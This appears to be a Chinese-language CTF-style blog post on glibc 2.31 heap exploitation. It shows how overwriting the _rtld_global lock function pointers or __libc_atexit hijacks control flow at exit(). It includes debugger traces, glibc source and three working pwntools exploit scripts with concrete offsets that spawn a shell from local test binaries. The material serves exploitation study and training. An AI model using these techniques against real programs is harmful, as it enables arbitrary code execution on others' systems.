exit hook
之前经常改 malloc_hook , realloc_hook,free_hook 为 one_gadget 来 get shell ,最近看到一种利用是改 exit hook(winmt师傅告诉我 其实没有exit hook,它是函数指针)。
改 exit_hook 有两种改法,一个是改为 one_gadget ,一个是改为 system ,再控制参数。
首先来看看 exit 这个函数里面究竟是如何调用的。(由于网上 libc版本多为 2.23 ,2.27我就用 2.31 的 libc 来做了实验)
进入 exit 之后我们发现它调用了 __run_exit_handlers ,我们单步进入 __run_exit_handlers。
1 0x7ffff7e09bc55> pop rax 2 0x7ffff7e09bc6 6> mov ecx, 1 3 0x7ffff7e09bcb 11> mov edx, 1 4 0x7ffff7e09bd0 16> lea rsi, [rip + 0x1a1b41] <0x7ffff7fab718> 5 0x7ffff7e09bd7 23> sub rsp, 8 6 ? 0x7ffff7e09bdb 27> call __run_exit_handlers <__run_exit_handlers> 7 rdi: 0x0 8 rsi: 0x7ffff7fab718 (__exit_funcs) —? 0x7ffff7fad980 (initial) ?— 0x0 9 rdx: 0x1 10 rcx: 0x1 11 12 0x7ffff7e09be0 endbr64 13 0x7ffff7e09be4 4> push r12 14 0x7ffff7e09be6 6> push rbp 15 0x7ffff7e09be7 7> push rbx 16 0x7ffff7e09be8 8> test rdi, rdi
我们发现 __run_exit_handlers 又会调用 _dl_fini 函数,我们再单步进入。
1 0x7ffff7e1ea0a <__run_exit_handlers+218> mov rdi, qword ptr [rax + 0x20] 2 0x7ffff7e1ea0e <__run_exit_handlers+222> mov qword ptr [rax + 0x10], 0 3 0x7ffff7e1ea16 <__run_exit_handlers+230> mov esi, ebp 4 0x7ffff7e1ea18 <__run_exit_handlers+232> ror rdx, 0x11 5 0x7ffff7e1ea1c <__run_exit_handlers+236> xor rdx, qword ptr fs:[0x30] 6 ? 0x7ffff7e1ea25 <__run_exit_handlers+245> call rdx <_dl_fini> 7 8 0x7ffff7e1ea27 <__run_exit_handlers+247> jmp __run_exit_handlers+106 <__run_exit_handlers+106>
看一下 _dl_fini 的源码得知,会调用 rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive 函数,并且有一个 GL(dl_load_lock) 的传参。
void
_dl_fini (void)
{
/* Lots of fun ahead. We have to call the destructors for all still
loaded objects, in all namespaces. The problem is that the ELF
specification now demands that dependencies between the modules
are taken into account. I.e., the destructor for a module is
called before the ones for any of its dependencies.
To make things more complicated, we cannot simply use the reverse
order of the constructors. Since the user might have loaded objects
using `dlopen' there are possibly several other modules with its
dependencies to be taken into account. Therefore we have to start
determining the order of the modules once again from the beginning. */
/* We run the destructors of the main namespaces last. As for the
other namespaces, we pick run the destructors in them in reverse
order of the namespace ID. */
#ifdef SHARED
int do_audit = 0;
again:
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock));
unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* No need to do anything for empty namespaces or those used for
auditing DSOs. */
if (nloaded == 0
#ifdef SHARED
|| GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
)
__rtld_lock_unlock_recursive (GL(dl_load_lock));
rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive 的定义:
# define __rtld_lock_lock_recursive(NAME) \
GL(dl_rtld_lock_recursive) (&(NAME).mutex)
# define __rtld_lock_unlock_recursive(NAME) \
GL(dl_rtld_unlock_recursive) (&(NAME).mutex)
#else
# define __rtld_lock_lock_recursive(NAME) \
__libc_maybe_call (__pthread_mutex_lock, (&(NAME).mutex), 0)
# define __rtld_lock_unlock_recursive(NAME) \
__libc_maybe_call (__pthread_mutex_unlock, (&(NAME).mutex), 0)
#endif
进入之后找到调用的两个关键函数 rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive,并且在调用之前会把某个地址里的值赋给 rdi。
0x7ffff7fe0d7d <_dl_fini+45> lea rbx, [r12 + r12*8] 0x7ffff7fe0d81 <_dl_fini+49> lea rax, [rip + 0x1c2d8] <0x7ffff7ffd060> 0x7ffff7fe0d88 <_dl_fini+56> shl rbx, 4 0x7ffff7fe0d8c <_dl_fini+60> add rbx, rax 0x7ffff7fe0d8f <_dl_fini+63> jmp _dl_fini+106 <_dl_fini+106> ↓ ? 0x7ffff7fe0dba <_dl_fini+106> lea rdi, [rip + 0x1cba7] <0x7ffff7ffd968> 0x7ffff7fe0dc1 <_dl_fini+113> call qword ptr [rip + 0x1d1a1]
1 pwndbg> x/gx 0x7ffff7ffd968 2 0x7ffff7ffd968 <_rtld_global+2312>: 0x0000000000000000
0x7ffff7fe0ec0 <_dl_fini+368> mov ecx, 1 0x7ffff7fe0ec5 <_dl_fini+373> call _dl_sort_maps <_dl_sort_maps> 0x7ffff7fe0eca <_dl_fini+378> lea rdi, [rip + 0x1ca97] <0x7ffff7ffd968> 0x7ffff7fe0ed1 <_dl_fini+385> call qword ptr [rip + 0x1d099]
那个地址其实是结构体 _rtld_global ,里的一部分 ,存在于_dl_load_lock 里,是 _rtld_global._dl_load_lock.mutex.__size的地址。
1 _dl_load_lock = { 2 mutex = { 3 __data = { 4 __lock = 0, 5 __count = 0, 6 __owner = 0, 7 __nusers = 0, 8 __kind = 1, 9 __spins = 0, 10 __elision = 0, 11 __list = { 12 __prev = 0x0, 13 __next = 0x0 14 } 15 }, 16 __size = '\000'16 times>, "\001", '\000' 22 times>, 17 __align = 0 18 } 19 },
由此我们可以想到两个方法来 get shell 一个是改 rtld_lock_default_lock_recursive 或 rtld_lock_default_unlock_recursive 为 one_gadget , 另一个更通用就是改 rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive 为 system ,并且把 _rtld_global._dl_load_lock.mutex的值改为 /bin/sh\x00。
找到他们相对于 _rtld_global 偏移
_dl_rtld_lock_recursive = 0x7ffff7fd0150, _dl_rtld_unlock_recursive = 0x7ffff7fd0160 ,
0x7ffff7ffdf60 <_rtld_global+3840>: 0x0000000000000000 0x00007ffff7fd0150 0x7ffff7ffdf70 <_rtld_global+3856>: 0x00007ffff7fd0160 0x0000000000000000
0x7ffff7ffd968 <_rtld_global+2312>: 0x0000000000000000
我分别写了两个相应的任意地址写的漏洞程序来测试是否可行。
第一个改为one_gadget,我放了一个任意地址写。
exp: _rtld_global 与的 ld 的偏移不变,而 ld 与 libc 的偏移也不变,故我们把 libc 与 ld 都加载进去。
from pwn import * context.arch = 'amd64' context.log_level = 'debug' s = process('./exit_onegadget') elf = ELF('./exit_onegadget') libc = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so') ld = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/ld-2.31.so') printf_addr = int(s.recv(14),16) libc_base = printf_addr - libc.sym['printf'] #gdb.attach(s) ld_base = libc_base + 0x1f4000 _rtld_global = ld_base + ld.sym['_rtld_global'] _dl_rtld_lock_recursive = _rtld_global + 0xf08 _dl_rtld_unlock_recursive = _rtld_global + 0xf10 #_dl_rtld_lock_recursive = 0x7ffff7fd0150 #_dl_rtld_unlock_recursive = 0x7ffff7fd0160 onegadget = [0xe6aee,0xe6af1,0xe6af4] one_gadget = libc_base + onegadget[0] success('one_gadget=>' + hex(one_gadget)) s.send(p64(_dl_rtld_lock_recursive)) s.send(p64(one_gadget)) s.interactive() ''' 0xe6aee execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL 0xe6af1 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL 0xe6af4 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL '''
第二个改为 system 和 /bin/sh\x00 我放了两个任意地址写。
exp:
from pwn import * context.arch = 'amd64' context.log_level = 'debug' s = process('./exit_system') elf = ELF('./exit_system') libc = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6') ld = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/ld-2.31.so') printf_addr = int(s.recv(14),16) libc_base = printf_addr - libc.sym['printf'] #gdb.attach(s) ld_base = libc_base + 0x1f4000 _rtld_global = ld_base + ld.sym['_rtld_global'] _dl_rtld_lock_recursive = _rtld_global + 0xf08 _dl_rtld_unlock_recursive = _rtld_global + 0xf10 _dl_load_lock = _rtld_global + 0x908 #_dl_rtld_lock_recursive = 0x7ffff7fd0150 #_dl_rtld_unlock_recursive = 0x7ffff7fd0160 s.send(p64(_dl_rtld_lock_recursive)) s.send(p64(libc_base + libc.sym['system']))
s.send(p64(_dl_load_lock)) s.send(b'/bin/sh\x00') s.interactive()
============================================================================================================================
之后winmt师傅告诉我他发现了一个新的小trick,tql tql(我只是 winmt 的搬运工)
关键源码:
if (run_list_atexit)
RUN_HOOK (__libc_atexit, ());
_exit (status);
void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true);
}
libc_hidden_def (exit)
extern void __run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit)
attribute_hidden __attribute__ ((__noreturn__));
由这两行他说可以改掉 __libc_atexit 来实现 get shell ,实际上经过测试确实可行。
优点是任意地址改时比上面的操作简单,所改函数就在 libc 里,而不是在 ld 里。
缺点是无法加参数,能不能成功取决于栈结构是否匹配 one_gadget。
可以用 one_gadget 的那个程序来试试这种方法。
from pwn import * context.arch = 'amd64' context.log_level = 'debug' s = process('./a') libc = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6') printf_addr = int(s.recv(14),16) libc_base = printf_addr - libc.sym['printf'] onegadget = [0xe6aee,0xe6af1,0xe6af4] one_gadget = libc_base + onegadget[0] success('one_gadget=>' + hex(one_gadget)) s.send(p64(libc_base + 0x1ED608)) s.send(p64(one_gadget)) s.interactive()
附件
提取码:1jsi